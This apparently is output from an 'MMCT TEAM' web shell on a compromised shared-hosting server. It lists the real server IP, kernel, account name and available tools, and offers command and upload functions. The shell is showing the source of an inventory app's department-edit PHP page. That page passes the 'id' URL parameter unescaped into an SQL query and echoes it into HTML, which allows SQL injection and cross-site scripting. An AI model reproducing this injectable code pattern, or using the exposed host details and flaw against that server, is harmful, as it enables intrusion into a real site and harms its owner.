MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/inventory/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/inventory/depart_edit.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("include/db.php");;
 
 $bid  = $_GET['id'];

  $sql = "select * from tbl_departmrnt where id='$bid'";
  $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
  $sql_row = mysqli_fetch_assoc($sql_res);

?>
<!doctype html>
<html lang="en">


<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:02 GMT -->
<head>

    
    <?php include 'include/head.php'; ?>
<style>
.one,
td,th,
tr {
    border: 1px solid black;

    border-collapse: collapse;

}

body {
    font-family: verdana;
}

.one {

    margin: auto;
    width: 90%;

}

td,th,
td {
    height: 25px;
}

#one {
    width: 40%;

}

#two {
    width: 20%;
}

.two,
td,th,
tr {
    border: 1px solid black;

    border-collapse: collapse;

}

.two {
    margin: auto;
    margin-top: 4px;
    width: 100%;

}
.three {
    
    border:1px solid black;
     
    border-collapse:collapse;
    margin: auto;
    
    margin-top: 4px;
    width: 90%;
    margin-bottom:4px;

}
#n,#new{
    border:none;
    
}
</style>

</head>


<body>

    <!-- Begin page -->
    <div id="layout-wrapper">

       <?php include 'include/header.php'; ?>

        <!-- ========== Left Sidebar Start ========== -->
        <div class="vertical-menu">
            <?php include 'include/sidebar.php'; ?>
        </div>
        <!-- Left Sidebar End -->

        <!-- ============================================================== -->
        <!-- Start right Content here -->
        <!-- ============================================================== -->
         <div class="main-content">

                <div class="page-content">

                    <!-- start page title -->
                    <div class="page-title-box">
                        <div class="container-fluid">
                         <div class="row align-items-center">
                             <div class="col-sm-6">
                                 <div class="page-title">
                                     <h4>Edit Department </h4>
                                         <!-- <ol class="breadcrumb m-0">
                                             <li class="breadcrumb-item"><a href="javascript: void(0);">Morvin</a></li>
                                             <li class="breadcrumb-item"><a href="javascript: void(0);">Tables</a></li>
                                             <li class="breadcrumb-item active">Data Tables</li>
                                         </ol> -->
                                 </div>
                             </div>
                             <div class="col-sm-6">
                               
                             </div>
                         </div>
                        </div>
                     </div>
                     <!-- end page title -->    


                    <div class="container-fluid">

                        <div class="page-content-wrapper">

                        

                             <div class="row">
                                    <div class="col-lg-12">
                                    <div class="card">
                                        <div class="card-body">
                                           
                                            
                                            <form method="POST" action="action/depart_edit.php?id=<?php echo $bid; ?>" >
                                                <div class="row">

                                                     <div class="mb-3">
                                                            <label  class="form-label">Department Name</label>
                                                            <input class="form-control" type="text" placeholder="Enter Brand Name" id="Warehousecode" name="bname" value="<?php echo $sql_row['name']; ?>">
                                                           
                                                        </div>


                                                   
                                                   

                                                      
                                                </div>
                                                
                                                <div>
                                                    <button class="btn btn-primary" type="submit">Submit</button>
                                                </div>
                                            </form>
                                        </div>
                                    </div>
                                </div>
                               <!-- end col -->
                            </div>
                           <!-- end row -->
            
                      

                        </div>
        
                        
                    </div> <!-- container-fluid -->
                </div>
                <!-- End Page-content -->

              
                
                <footer class="footer">
                 <?php include 'include/footer.php'; ?>
            </footer>
            </div>
        <!-- end main content-->

    </div>
    <!-- END layout-wrapper -->

    <!-- Right Sidebar -->
   
    <!-- /Right-bar -->

    <!-- Right bar overlay-->
    <div class="rightbar-overlay"></div>

    <!-- JAVASCRIPT -->
       <?php include 'include/bscript.php'; ?>


</body>


<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:42 GMT -->
</html>

MMCT - 2023